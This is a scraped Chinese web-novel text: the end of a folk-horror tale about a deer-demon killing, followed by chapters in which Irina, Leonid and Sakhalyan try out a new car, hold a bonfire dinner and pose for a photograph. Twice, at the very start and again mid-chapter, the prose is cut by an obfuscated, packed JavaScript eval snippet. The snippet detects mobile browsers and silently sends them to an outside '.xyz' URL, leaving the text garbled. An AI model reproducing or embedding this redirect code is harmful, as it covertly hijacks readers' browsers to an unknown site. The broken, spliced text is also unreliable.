;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192272|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢朝他走了过去。她想知道青年的手抚摸在头上时,是不是还像先前那样温热。她又想知道,他口中的情话,是不是还像先前那样动听。 但青年没有给她这个机会,他立刻拔出箭矢,其余两人也从灌木丛中跳出,一箭就击穿了她的眉骨。 萨满驱使着驯鹿的身体,她拼尽全力,将青年撞翻在地。但其余的猎人拔箭齐发,箭矢不断的射中她的肋侧和脖颈。 当她逃离山林时,听到身后传来最后的声音: “跟着血迹走!把它皮剥了做大衣!” (三) 第二天清晨,女人早早就醒来了。 她那醉酒的丈夫还在昏睡,呼噜声震得门框都在响。女人低头看了看自己的女儿,也许是放血真起作用了,也没准是符咒生效,总之女孩也在沉睡着。 脸还有点烫,但好了不少。 女人想起了昨天医生说的话,还是决定要去找茅草屋中的老阿姨去看看。 当她用襁褓裹着女儿,快步走出门之后,村中那些农闲的老人们看着她,口中念念有词。想想也知道,无非是议论她家的那些是是非非,要么就是丈夫又输钱了,要么就是丈夫又跟哪家寡妇搞在一起。 “您好!请问您在家吗?” 女人有些焦急的敲着茅草屋的房门,但里面并没有人应声。 也许是出门采药了吧,她在心里暗自想着。 这位年轻的妈妈是位勤劳的女人,她看到房后许久无人打理的荒地,便把女儿放在房前的破木箱里。然后拿起靠在窗下的锄头,想着兴许帮那位老阿姨除除草,能省下一些看病的钱。 但她锄了没多久,就听见荒地尽头传来苍蝇萦绕的声音。 那是一头硕大的驯鹿,它身上的皮已经被人剥去,露出新鲜的肌肉。有些值钱的部位也已经被人取走,像脊背上精瘦的肉,肋条,和腹中的肝脏。内里的肠子也被人扯了出来,从破口的地方还能看见驯鹿死前寻觅的食物。 猎人们还试图斩下它的头颅,只剩下一些骨头和皮还连着。头上的鹿角断了一边,另外一边则是残留着被人锯过的痕迹,但因为长得太过结实,最终作罢。 看着眼前这血腥的场景,年轻的妈妈目不转睛的盯着驯鹿那快要掉下来的头,像是着了魔一般,一个可怕的想法慢慢出现在她的脑中。 她在茅草屋房前等了许久,也没见那老阿姨回来。 由于女人中午带孩子回家晚了,没有给宿醉的丈夫做醒酒汤,那男人起身把她揍了一顿。就在她新婚时华丽的鹿皮大衣下,如暴雨般的拳头和脚踢落到她的身上。但女人没有反抗,她心已经死了。 随后,男人一脚踹开房门,又不知道去哪儿花天酒地了。 等到天黑,街上的行人都回家吃饭的时候,女人安抚好自己的女儿,从厨房提起一把厨刀,偷偷跑到茅草屋的房后,剁下了那驯鹿的头。 很奇怪的是,茅草屋里面依旧没有亮起灯光,看来阿姨一整天都没有回来。 回到家的时候,已经是深夜了。今天男人不知道喝了多少酒,他摔倒了在家门的门槛旁,嘴里还念念有词,仿佛在呼唤着家中女人温暖的怀抱。 女人轻轻抱起男人,就像新婚时那样羞涩,她在他的耳畔轻轻说道: “夜莺轻轻在树上歌唱, 我问那歌声动人的小鸟, 我的恋人可是你?” 男人感觉她轻柔的鼻息和暖和的双手,在她的怀中静静的睡着了。 一大早,不知道为什么,村中的一户人家中围满了村民,他们从来没有见过如此血腥恐怖的场景。但好奇心依然驱使他们围了过来,胆大的人们伸着脖子望向里面的卧室,胆子小的在后面听着那些人的叙述。 跟随着人们的目光,床上那位每天醉酒的男人已经被人开膛破肚,他身上裹着一件华美的鹿皮大衣,血渍已经在毛皮上干涸了。 但更恐怖的是,本该扛着头颅的肩膀上,是一颗硕大的鹿头。 “这......” 年轻的警察已经被吓得跑了出去,他在门口不停的呕吐着,好像连胆汁都要吐出来了。 见多识广的神父倒是仍然神态自若,他站在人群中,需要给村民们一个答案。 “这是鹿角妖作祟!去喊牧师来驱魔!” 神父宣布完这个结果,没人再去试图调查案件的本来面貌,也没有人记得这家饱受欺凌的妻女,好像就这么消失了,只剩下被歪曲后的故事。 女人抱着襁褓中的女儿,消失在了地平线上。随着她的脚步,鹿角妖的恐怖传说最终传遍了帝国的每一寸土地。 27.本茨牌汽车 “你们回来啦!快看这是什么!” 里奥尼德和萨哈良骑在马上,离得远远的就看见伊琳娜兴奋地朝他们招手。为了让他们从庄园后门一进来就看见身后的庞大机器,她专门放在了庄园侧面的碎石子路上。 “走,我们骑快一点。”里奥扭头对萨哈良说,看来他着急跑过去看看了。 正午多云时的冷调阳光洒在广袤的庄园土地上,这些景色看习惯后,尤其是四周被时光浸染过的陈设,也让人感到些许的倦怠。但那个摆放在路旁的机器,成了突兀而迷人的异类。 “萨哈良,这就是我所说的汽车!” 伊琳娜抑制不住内心的激动,正斜倚在这辆汽车的一侧。 为了今天,她精心打扮。身着一袭质地精良的高腰墨绿色半身裙,上身修身的马甲让她看起来干练而英气。高耸的领口缀着细密的蕾丝,头上戴着窄檐的鹅黄色小礼帽,上面还点缀着鸵鸟羽毛和鲜花。 然而,美丽的伊琳娜女士,她慵懒倚靠的,却不是古典的廊柱或精美的露台栏杆,而是那冰冷,还微微散发着发动机余温与汽油刺鼻气息的金属车门。 “怎么样?是不是很漂亮?”伊琳娜一直不停的询问着萨哈良的意见。 其实萨哈良觉得,还是那辆豪华马车看起来更气派,但他还是说: “确实很漂亮!” 事实上,那辆车其实和马车看起来差不多,主体结构仍然是由厚重的木材和锻造钢板构成,表面覆盖着一层深邃的黑色烤漆。但做工要比里奥那辆完全由手工打造而成的豪华马车粗糙不少,底盘密密麻麻的由各种机械结构穿插其间,看起来很是笨重。 原本用来固定马匹的车头辕木现在变成了放置行李的平台,但这都没什么,里奥最不满意的是那略显简陋的内饰,因为里面不过是块上好的黑色牛皮,仅此而已。 “呃......伊琳,怎么又是一辆敞篷的?”里奥转了一圈,没有看见车篷,疑惑的询问伊琳。 伊琳娜倒是没有被他们的反应扫兴,反正等下上车就知道了。她走到车后,一把拉起了藏在座椅背后的折叠蓬。 “这不就有了吗?”伊琳娜叉着腰,对里奥说道。 “这倒是不错,但是感觉比马车小很多。”里奥尼德点点头,但还是有些不满意。 伊琳娜掀起了车后的盖子,喊来萨哈良看里面复杂的机械。那些零件大多是由黄铜和钢制成,传动结构甚至还会用上皮带。 鹿神也凑了过来,这足以让他们两人感到震撼了,崭新的机器要比地下室里那台沾满油泥的黑疙瘩漂亮多了。 见萨哈良看的入迷,伊琳娜从车上拿下一个曲柄的铁棍,插进了机器中。 “这次再试试转动铁棍?”伊琳指着铁棍的末端,对萨哈良说道。 有了先前的经验,萨哈良胆子大了不少,他用力一转,机器立刻发出轰鸣声。 “怎么样?两位男士?有没有感到机器的魅力?”伊琳笑着和他们说。 萨哈良肯定是感受到了,反正什么对于他都是新鲜事物,但里奥可能在这个问题上还要偏向实用主义一点,毕竟当下的技术对他来说还不如吃草的四条腿。 伊琳娜也懒得和他们接着解释了,不如直接开车试试。她提着裙摆,蹬着车厢外的踏脚,一下子跳了上去。 “怎么?还不上车吗?”伊琳笑着对他们说。 里奥和萨哈良两人面面相觑,但还是坐到了车上。 “其实司令部是有几辆车的,但据说那玩意还不如马车好用。”里奥想起了停在司令部那几辆破车,其实他也不知道为什么没人开。 伊琳娜白了他一眼,说:“等下我们就知道了。” 刚刚跟随运货工人的技术人员,耐心的向伊琳娜教学了如何使用汽车。可她还没有练习,所以开的很不稳当,而且她找不到换挡的位置。 “伊琳,这车怎么这么慢?”里奥也发现了这一点。 但伊琳娜可不会承认,她偷偷用左手在车上摸索着,试图寻找换挡的位置。这辆车的方向盘在座位的正中间,像一个小餐盘一样立着,上面还有握把,可以说每一个乘客都能试试转一把方向盘。 他们就这样,如同马术中盛装舞步的速度,离开了庄园。 “里奥,出个主意,咱们开去哪儿?”伊琳娜也不知道去什么地方,只好问里奥。 他们的汽车在乡间小路里歪歪扭扭的蜿蜒爬行,吸引来路旁的农夫们驻足观看,每个人的表情都像见鬼了一样,毕竟这辆车没有马拉着。 “嗯......要不还去城门口吧,我又想吃煎饼了。”经过一上午的狩猎,有点饿了。他看着坐在对面的萨哈良,少年也点了点头。 “我觉得这个不如马车,因为太挤了,都没有坐的地方。”鹿神飘在车旁边,目不转睛的盯着底盘那些机械在运作。 “吃吃吃,就知道吃!”因为刚才里奥那些提不起劲的扫兴发言,伊琳忍不住责怪他。 里奥尼德也知道是因为自己说的话,连忙扭头看向一边。 开了一会,伊琳娜慢慢找到了窍门,她也摸到了换挡的位置,速度快了不少。比起在乡间慢慢骑行的人们,都可以说是风驰电掣了。 车轮碾过被融雪泡软的乡间小路,轮轴偶尔吱呀作响,像是哼着一首不合时宜的歌谣。 这钢铁与木头拼凑的新奇事物,正笨拙地穿行在新枝萌芽的乡野间。离城门越来越近,路上的行人也越来越多,萨哈良敏锐的耳朵听见,他们似乎在管它称作“没有马的马车”。 汽车的铁皮外壳在午后的阳光下闪着生硬的光,那突突作响的发动机打破了乡下的宁静。 田里劳作的农人停下锄头,用沾满泥土的手放在眼睛上遮蔽阳光仔细查看。妇人抱着木盆站在篱笆旁,这辆新奇的车吸引了她的目光,只剩晾了一半的床单在风中飘荡。 玩耍的孩子们光着脚丫追着这个怪物奔跑,既害怕又兴奋地尖叫。 伊琳娜穿着华服,昂首坐在驾驶座上,那与这机械怪物对比出的优雅让她更是迷人。里奥伸出手摘下头顶的鸭舌帽,和路边的人们示意,此刻所有人都注意到他们,萨哈良终于理解这辆车为什么比豪华马车更好了。 听见引擎的轰鸣声,城门口大声训斥卫兵的士官长还以为谁偷偷把炮艇开出来了,直到他看见车上端坐着的里奥尼德少校——这下,他可没法再以为少校被贬了。 “少校!您还记得我吗?”士官长又耸着肩膀,把大檐帽捧着手中,佝偻着腰,一脸谄媚的和里奥尼德打招呼。 里奥忍住嘴角的笑意,粗着声音说:“认得,当然认得,这不是为帝国尽职尽责的士官长吗?” 士官长听他这么说,还以为自己要发达了,连忙谦虚道:“没有没有,都是托您的福才有了今天,我们为帝国奉献终身是应该的!” 听见这么没骨气的声音,伊琳娜忍不住瞪了他一眼。 “那这样吧,你去那个摊子买点煎饼,记得给旁边的小孩也买点。”里奥突然想捉弄他一番。 那士官长立刻抬起手,敬了个礼,说道:“是!少校!您真是体恤民情的好长官!” 说完,士官长连忙跑到摊子旁,又摆起了架子,将那些排队等着买饭的路人都赶到一旁,大声喊着这是少校的命令。 “你确定还要捉弄这个士官长吗?”伊琳娜看出来了里奥的恶趣味,转头对他说道。 里奥尼德扶正了头上的鸭舌帽,他也没想到这小小士官长竟有这么大的官威。 没过一会儿,士官长就抱着满满的甜煎饼跑过来了,多得简直足够庄园里所有人吃一顿了。由于他把摊子都包圆了,那些本来在排队的人们只好去买别的了。 “少校!我都买来了!”士官长急于邀功,差点把那些煎饼都摔在车上。 里奥尼德不知道说什么了,愣了一会,想从腰包中摸索银币。士官长看他这个动作,连忙说:“少校!不用付钱,这是我孝敬您的!” 里奥笑着说道:“那就恭敬不如从命了,去,给我们留一袋就好了,剩下的分给那些路人。” 士官长不敢相信自己的耳朵,还站在原地。 “快去!” 他不敢怠慢,赶紧跑去把剩下的分给路人了。那些人们看见平日里趾高气昂的士官长在分发煎饼,还以为这人发了什么疯病,过了一阵才敢上去接。 离开城门往回走的路上,也许是大家已经慢慢熟悉了这辆不靠马拉的马车,围观的人越来越少,他们也能聊一会轻松的事情了。 “对了,伊琳,萨哈良说他打算明后天离开,继续完成旅程。”里奥尼德想起打猎时的事,对伊琳娜说道。 萨哈良听他突然这么说,有些紧张的看着伊琳娜。 “这么快吗?才呆三天呀,要不要再住一阵子?”伊琳娜也有点舍不得这个说话好听,又充满好奇心的弟弟了。 “不......不行,这次的旅程很重要,我们要抓紧时间。”萨哈良看向鹿神,小声说着。 里奥尼德听他这么说,还以为是说错了:“们?萨哈良已经能预示到我想跟你一块踏上旅途了吗?” 伊琳娜和萨哈良都惊讶地看着他,这可是完全没想到的。 “里奥,下次做这种决定可以提前跟我说的。”伊琳娜对里奥尼德说道。 “啊......我也是上午才想到的。”里奥以为伊琳在埋怨他,低声嘟囔着。 不过伊琳娜很快就笑了出来,她说:“倒不是埋怨你,我的意思是早点说,我也好早点收拾行李。” 这下轮到里奥尼德和萨哈良惊讶地看向伊琳娜了。 “真的吗伊琳?”里奥兴奋地询问她。 “真的啊,本来就在这里呆太久了,很无聊。”伊琳娜一边说,一边看着萨哈良:“而且萨哈良来之后,我的写作也有进展,也许路上还能有新发现。” “对,没错!”里奥尼德也转头看向萨哈良。 他们两个人的热情让萨哈良有点不知所措,因为接下来的旅途该怎么安排,他还不知道。更何况身边还有鹿神在,总归有些不方便。 “没事,这两个罗刹小鬼挺好的,而且里奥尼德的军队身份也许能得到更多的线索。”鹿神沉思了一会,对萨哈良说道。 既然得到了鹿神的认可,能和朋友一起出门玩,还有什么不高兴的呢? “好啊!那我们明天就出发吧!”萨哈良也兴奋的对着他们说。 乡间午后的微风令人心情和畅,坐在车上,伊琳娜甚至带着他们唱起了歌,虽然萨哈良完全不会,但里奥尼德努力的教给他。里奥虽然钢琴弹得很棒,但唱起歌实在不算好听,活像一头深情的水牛。 慢慢熟练掌握驾驶这台汽车之后,伊琳娜有点想教会萨哈良开车了。 “萨哈良,你要不要试试控制这车?”伊琳娜看向萨哈良,询问着他的意见。 “啊?我吗?我可以吗?”萨哈良正是好奇心强的年纪,怎么会不想试试呢? 伊琳娜示意他把手伸过来,扶在方向盘的把手上,然后伊琳慢慢松手。 “怎么样,不难吧?然后想往哪个方向走,就往哪个方向转。”伊琳娜一点点为萨哈良解释着操作方法。 结果萨哈良又用起了启动汽车时的力气,一把下去,没有避开路上的泥泞,车轮就毫无征兆地陷进了深坑。 突然的停滞让发动机发出呜咽般的怪响,随后不情愿地熄了火。 “伊琳娜姐姐,我......我是不是把车弄坏了?”萨哈良有些害怕,他小声说着。 伊琳娜探出头,看了看车轮下的泥坑,说:“没事没事,只是轮子陷进坑里,我们想办法弄出来就好。” 在路旁驻足的行人现在围拢过来,男人们交叉抱着胳膊,女人们交头接耳,孩子们躲在大人身后偷看。里奥尼德和萨哈良刚一跳下车,靴子就立刻陷进泥里。他们徒劳地推着车身,额头上也渗出了汗珠。 那搭载着内燃机和各种机械的汽车可比马车重多了,可以说纹丝不动。 “看来马车还是靠谱些,”里奥尼德忍不住开口说道,“至少它们自 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“这都应该的,给钱就见外了。” 说完,他又驾着牛车,继续赶路了。 结束路程上短短的闹剧,天色已经逐渐黯淡下来。 暮色如轻纱一般缓缓笼罩在乡间小路上,他们那辆汽车正发出突突的声响,沿着蜿蜒的土路慢慢前行。不管伊琳娜怎么劝他,萨哈良都不敢再碰方向盘了。因为刚才的事故,车身的黑色漆面已经蒙上了一层薄薄的尘土,车轮也沾上泥土。 黄铜车灯在渐浓的夜色中投下摇曳的光晕,惊起了路旁树丛中的几只飞鸟。 “萨哈良,晚上想吃点什么?”他们一边吃着手中的煎饼当零嘴,里奥一边问萨哈良有没有什么想吃东西。 “我想......我们要不要试试部族的吃法,在后花园支起篝火把兔子烤了?”萨哈良大胆提议着。 鹿神又想起那些女仆,说道:“我觉得很好,但是别把她们再吓到了。” 听鹿神这么说,萨哈良才突然想起这事,刚想收回提议,里奥就兴奋的开口了:“好啊!我喜欢野炊!” 毕竟,只要一听见部族俩字,里奥尼德就会打起精神。 “只要别再把女仆们吓到就好。”伊琳娜笑着说,其实她也想试试。 回到庄园时,天已经完全黑了。女仆们提前点燃了路灯,它们沿着花园的小径依次排开,在那些花园的雕塑上投下昏黄而神秘的光。更远处,越过栏杆,是无边的黑暗,那里是椴木林和田野。别墅主楼的尖顶在月光下显出沉默的轮廓,马厩里的马匹偶尔发出一两声鼻息,那是在迎接萨哈良回来。 看着玻璃后面那暖黄色的灯火,萨哈良第一次感觉到家的气息。 伊琳娜将车停在马厩旁,里奥尼德和前来迎接的女仆吩咐让她们将餐具搬到后花园的空地上,顺便再拿来柴火。和第一天不同,这次听到要升起篝火,她们脸上都挂着开心的笑容。当然,里奥也记得提醒,今天少拿些酒。 萨哈良拔出腰间的小刀,拿起那两只雪兔准备剥皮,他看见伊琳娜也拿着刀走了过来。 “怎么?没想到我会剥皮?”伊琳娜笑着对萨哈良说。 虽然确实没想到,但联想到地下室的那些标本,倒是也正常。 “这不就是我先前所说的,从中得来的经验吗?” 伊琳娜说完话,立刻就开始剥皮了,她的动作也很利索,两个人一起三下五除二的就将兔皮剥完了。 “这些兔皮虽然不如冬天的好,但可以给伊琳娜姐姐留着,说不定能做个小包或者围脖什么的。”萨哈良将兔皮摊在旁边,晾干。 “好啊,有机会帮我做一个。”伊琳娜心里暗自决定,下次打猎她一定要去。 相比起这些城里人,萨哈良可是野外生存大师了。有他的帮助和女仆们在旁边打下手,篝火很快就升了起来。 时间尚早,月亮还没有升起,在庄园宽敞的后花园里能看到点点星光。里奥尼德脱掉了紧绷的猎装外套,白衬衫的袖口随意卷起,正熟练地用一根削尖的树枝穿着野兔。萨哈良也一旁帮忙,他的小刀在火光中闪动,刀刃上还沾着深色的血渍。 树枝在火中噼啪作响,兔肉开始渗出金黄色的油脂,滴入火中激起细小的火星。浓郁的肉香弥漫开来,与夜晚花园里潮湿泥土的气息混合在一起。闻到这香气,伊琳娜也不想再去换衣服了,她直接坐到椅子上,和女仆们聊起天。 “我们打算明天和萨哈良一起出个远门,家里就交给你们了。”伊琳娜对着女仆们说道,女仆长也朝她点点头。 但先前那个爱哭的年轻女仆,有些惊讶的问道:“那......大家还回来吗?” 毕竟那是父亲去世之后,女仆第一次感觉到有人温和的对待她们。 “哈哈哈,怎么会不回来呢?”伊琳娜笑着说,她理解女仆说的话。 听见她们聊天,萨哈良也在旁边说:“我还会回来呢!我喜欢吃女仆姐姐们准备的饭菜!” 他这么一说,大家都笑了起来。 伊琳娜突然轻声哼起一首民歌,这次换女仆长在腿上轻轻打着拍子。里奥尼德和萨哈良转动着烤兔,看着油脂在兔肉表面滋滋作响,直到烤出诱人的焦脆外皮,就连鹿神也在旁边夸赞着: “看到你能把兔子烤得这么好,我就放心了,你要是当上大萨满,至少大家不会饿肚子。” 萨哈良听到他这么说,开心的笑了出来。旁边的里奥尼德诧异的看着他,然后也跟他一起笑着。 野兔烤好之后,他们拿到餐桌上,又把白天剩的许多甜奶渣馅饼分给了大家。年轻的女孩子们都喜欢甜食,尤其是搭配着咸香的烤野兔,别提有多开心了。 里奥端起酒瓶,给大家依次斟满,随后他高举酒杯,说起一段帝国式的祝酒词: “祝我们脚下的土地,愿她的黑土永远肥沃,愿她的白桦林永远茂密,愿她的儿女永远坚强如钢!” “最后,祝我们永远的朋友,永远快乐!干杯!” 28.摄人魂魄的木盒子 萨哈良的行李不多,收拾起来很快,倒是打包那些女仆送来的换洗衣物用了好久。他不会田人们的叠衣方式,女仆长教他半天,还是没能学会。 “抱歉,我手太笨了,一直没学会,耽误时间了......”将行李搬到门口的时候,萨哈良很是不好意思,跟在女仆长身后和她道歉。 女仆长听他这么说,笑了出来:“您看您这话说的,本来我直接收拾好了就行。” 她看向少年乱糟糟的头发,本来想伸手上去摸摸,但主仆有别,她还是在自己的职业素养前后退了一步。 “您让我想起了家里那些弟弟妹妹出远门,也是我帮他们整理行李。”回忆起那些远方的亲人,女仆长的眼睛闪过一丝落寞,随后又继续说道:“但我想,一个人出门在外不容易,您一看也不是钟鸣鼎食的出身,今后还是要自己照顾自己,所以才教了打包衣服的方法。” 女仆长就像是家里的长辈,总是惦记着晚辈们。 和她道谢之后,萨哈良走出主楼的大门,看见伊琳娜已经靠在那辆汽车前等着了。 她站在晨雾缭绕的庄园台阶上,褪去了先前那些华丽的长裙,一身墨绿色的紧身马甲勾勒出她纤细但挺拔的身姿,下装则是同色的百褶长裙,外面又披着深色的风衣。 伊琳娜侧身查看汽车的机舱时,白色衬衫的袖口从外套袖子中露出一截,珍珠袖扣在晨光中泛着温润的光泽。 点睛之笔的是那条暗红色又隐隐带着图案的领巾,在颈间系成精致的结,在她白皙的皮肤上犹如雪地里的一滴血,映得她橄榄石绿的眼眸愈发锐利。 当她迈开脚步时,及踝的长裙在靴筒边散开又收拢,像是山谷中的百合,每一步都在早晨湿润的路面上留下清脆的声响 合上机舱盖,萨哈良发现伊琳娜看向这黑铁疙瘩的眼神就像是看着恋人,嘴角若隐若现的笑容表明,她是真喜欢这辆车。紧接着,她从容地扶了扶装饰有雉鸡羽毛的卷边毡帽,帽檐下漏出几缕黑色的发丝。也许是为了旅途方便才换上猎装,但这显得她更是英气逼人。 在汽车的后面不远处还站着一个陌生的中年人,他正在摆弄立在木架上的盒子。 “伊琳娜姐姐,我们要坐这辆车出门吗?”想起那天半路抛锚的事,萨哈良有点怀疑汽车到底能不能稳定得开在路上。 伊琳娜被身后传来的声音吓了一跳,明显感觉她抖了一下。她转过头发现是萨哈良提着行李,便笑着说道: “不开这个,远东的路太烂了,我们还是换一些便捷的交通工具。” 其实萨哈良对火车更感兴趣,他问:“那......是坐火车吗?” “不不不,我不坐那个黑东西。”鹿神又想起在河边小镇看见火车时的场景。 伊琳娜想了想,说:“这个等里奥回来再决定吧,他早上去司令部报道了,毕竟要离开驻地,得备案。” 萨哈良点点头,他又瞥向了中年人一直摆弄着的盒子,鹿神当然也注意到了这个东西,他早就飘过去查看了。 那个木盒子很奇怪,像是可以折叠起来的。主体部分用黑色皮革包裹,容易磨损的边边角角还镶着黄铜皮。在盒子里面伸缩出像折纸一样的东西,那东西上面连着一块木板,正中间是一块圆形的小铁板和一块圆形的玻璃。 注意到萨哈良的眼神,伊琳娜指着那个木盒,给他解释道: “这个是照相机,等里奥回来我们合影。” “照相机?什么是照相机?”萨哈良没听说过这种东西,疑惑的问着。 伊琳娜想了想,说:“你也看到墙壁上那些肖像画了,那么一张画可能要画半年。”她又指着木盒子,继续说:“但是这个木盒子可以在一小时左右就完成一张肖像画。” “神奇,太神奇了。”没有见到最后的成品,萨哈良还是想象不出来会是怎么样。 在等待里奥尼德回来的时候,女仆们用小推车在搬伊琳娜的行李。萨哈良看着那边,心里暗暗在猜到底用多少趟才能搬完。 像是看出来他的想法了一样,伊琳娜对他说:“如果按我往常旅行的习惯,肯定要拿好多行李。”她冲着萨哈良笑了笑,继续说:“但自从认识你之后,我发现好像浪迹在荒野之中也挺好玩的,所以只带了必需的东西。” 萨哈良的脸微微一红,好像有种被人理解的感觉:“我之前下山的时候,被萨满姐姐们打扮成新娘了!然后......” 鹿神在身旁咳嗽了一声,萨哈良才发现自己在被认同的喜悦中,好像说错话了,毕竟没法解释有关鹿神的那部分内容。 “啊?新娘?”伊琳娜一愣,随后捂住嘴笑着说道:“这是部族的奇特风俗吗?” 萨哈良脸都红到耳根了,他连忙解释着:“没有没有,其实是......大概是姐姐们想把部族最好的东西带给我,因为我们没有“金钱”的概念,所以......” 他绞尽脑汁,最后想到:“所以把新娘的衣服带给我,让我换钱。” 伊琳娜听完,还在捂着嘴偷笑,她说:“嗯嗯,原来是这样,那萨满姐姐们真是好人,我猜萨哈良穿新娘的衣服一定很好看。” 听到新娘二字,萨哈良的脸更红了,他赶紧转移话题:“反正那时候,我就会在山野里用头巾支起帐篷睡觉。” “啊?头巾?那能盖得住你吗?”伊琳娜有些诧异,她没见过萨哈良那种能一直盖到脚的头巾。 “能的,那种头巾......”萨哈良心想,还是不说那是新娘的头巾吧,他又继续说:“很大,能把整个人盖起来。” 伊琳娜点点头,说:“那也正常,我听里奥说起过,好像沙漠中的人也会这样,平时防风沙,有事的时候当帐篷用。” 萨哈良深吸一口气,总算是解释明白,不然部族的名声又要因为他变得奇怪了。 过了没多久,里奥尼德就回来了。在清晨的阳光下,那辆豪华马车碾过碎石路,发出清脆而富有节奏的声响,驶入了庄园宽阔的庭院。车辕前套着两匹健壮的黑色骏马步伐轻快,鬃毛在微风中拂动,鼻息在凉爽的空气里化作缕缕白雾。 他推开车门,还没等马车停稳,就敏捷地跳下马车,身上披着的大氅也随着他的动作在空中飘动。 “你们都收拾好了吗?”里奥尼德风尘仆仆的走了过来,看得出来他一结束司令部的事,就立刻回来了。 伊琳娜朝他招招手,说:“司令部那边怎么样,见到叔父了吗?” 里奥扶正了头上的军帽,和伊琳说道:“没什么问题,叔父只是要求军服不能脱,然后每到一个城市都要去驻地报道。” “这倒是没什么,正常流程。”伊琳娜点点头,继续说:“那我们坐什么出门?” 里奥尼德看了眼萨哈良,说:“我们坐火车吧,叔父协调了一班运输车,萨哈良的马也能放上去,客厢也很豪华。”他想了想,又说:“而且萨哈良还没坐过火车。” 鹿神听他这么说,就像灯神跳回阿拉丁的神灯里一样,扑通一下就消失在萨哈良的脑子里。 “可怕。”萨哈良听到鹿神的声音又从大脑深处传来了。 “那也不错,什么时候的火车?我想一起拍张合照。”伊琳娜看向已经准备就绪的摄影师,他在那边都快等睡着了。 里奥尼德笑了笑,他也正有此意:“下午的火车,来得及。” 因为要准备合影留念,女仆们匆忙而有序地将场地清理干净,确保画面的整洁。伊琳娜的那辆新车擦得锃亮,黄铜的车灯和喇叭在阳光下熠熠生辉,停在侧面像是家族中的新成员,与身后那栋略显褪色的主楼形成了奇特的对比。 伊琳娜随意地将手搭在车门上,脸上带着一丝矜持而又忍不住流露出的开心。 萨哈良还不知道要干什么,里奥尼德扶着他的肩膀,将他摆在了自己的旁边。 “没事萨哈良,等会你就知道了,站我旁边就好。”里奥转头对他说着,萨哈良也点点头。 伊琳娜有点不满意,她走到萨哈良身边,拉着他的胳膊把他摆在了正中间。 “不行,我也要挨着萨哈良。”伊琳娜一边给萨哈良整理衣领,一边对里奥尼德说道。 穿着深色外套的摄影师,在一台支着三脚架的木箱后忙碌着。他蒙在了黑色的绒布下,最后一次调整着模糊的对焦,然后伸出手,示意所有人:“请保持安静,看这里,就这样,非常好!” 听见这么热闹,鹿神飘了出来,站在萨哈良的旁边,还不忘朝他笑了笑。 这时候,萨哈良扭头望向了在一旁看热闹的女仆。 里奥尼德看出了他的想法,于是对那边喊道:“来啊!一起拍照片!” 听到里奥这么说,女仆长也带着姑娘们跑了过来。 “摄影师等等,你那边有多少张底片?”伊琳娜突然想起了什么,对摄影师大声说道。 “小姐,我这边还有四张。” 摄影师说完,伊琳娜扭头看了看人们,随后说:“那您帮我拍四张,你拿走一张底片帮我复制出两张,给三位女仆一人一张。” “好嘞。” 一瞬间,所有的声音都停止了。人们挺直了腰板,收敛了笑容,摆出最庄重得体的姿态。空气中只剩下微风拂过椴树林的沙沙声和远处鸟鸣。 “等等,萨哈良别忘了睁大眼睛,不要闭眼!” 只见摄影师的手从黑布下伸出,握住了气球般的快门。他深吸一口气,然后用力一捏。 “咔嚓!” 随着一声清晰而利落的声响,伴随着一道短暂的白光和刺鼻气味。那一刻,在庄园度过的短暂快乐时光,被永恒地定格在了底片上。 摄影师快速将这样的动作重复了四次,然后将三张底片盒交给了伊琳娜。 “小姐,您自己洗照片没问题吗?我带回去洗也可以的。”摄影师从没见过女人可以熟练掌握这种技能,有些怀疑的问着。 伊琳娜拿着片盒已经快步走向地下室了,她头也没回的说道:“没问题,里奥和萨哈良你们等我两小时。” 除了那名城里来的女仆,其他人都没有见过这种神奇的技术,正叽叽喳喳的讨论着,女仆长还上去和摄影师搭讪,想知道这木盒子是怎么拍出人影儿的。 送走摄影师之后,没过一会儿一辆破旧的货运马车就开进了庄园。车停稳后,上面跳下来几个士兵,匆忙跑过来向里奥尼德敬礼。 “少校!我们搬哪些行李?”先前一直跟着里奥的勤务兵喊道。 里奥给他们指了指那堆打包好的行李说道:“就这堆,搬完你们先送到火车站去。” 那些训练有素的士兵手脚麻利,收到命令就冲过去开始搬行李,一点都不省着力气,要知道就算只有衣服,那些实木和皮革制成的行李箱也很沉重。 “等等,搬完帮我把马也套上,我旁边这位客人要把自己的马带走。”里奥看了看马厩的方向,他又犹豫了会儿,说:“算了,要不然到地方还得拆马具,一会我们骑上吧。” “是!”勤务兵又朝他敬礼。 有了他们的帮助,没多久就装满了马车,本来女仆长还带着她们过来帮忙,有年轻姑娘站在旁边,那些士兵干活反倒更起劲儿了。 装完行李后,勤务兵和里奥挥手致意,准备先出发了。 “等会,你把这个拿上。”里奥把腰包里的银币都扔给他,说:“办完给弟兄们买点酒喝吧。” 看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199859|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见银币,那勤务兵笑开花了:“谢谢少校!” 行李都搬完之后,萨哈良感觉,尽管庄园还是先前的景色,优雅而稳重,但总觉得少了些什么。旅途即将开始时总是会这样,虽然心情激动,但也会有些患得患失。 里奥走到萨哈良面前,先是停了一下,然后对他说道:“之前晚宴上,你提起的那名叶甫根尼医生,还记不记得?” 萨哈良想了想,好像那天为了推脱祭祀仪式,确实和他提起过那名医生。他说:“我还记得,那天晚上说的,怎么了?” 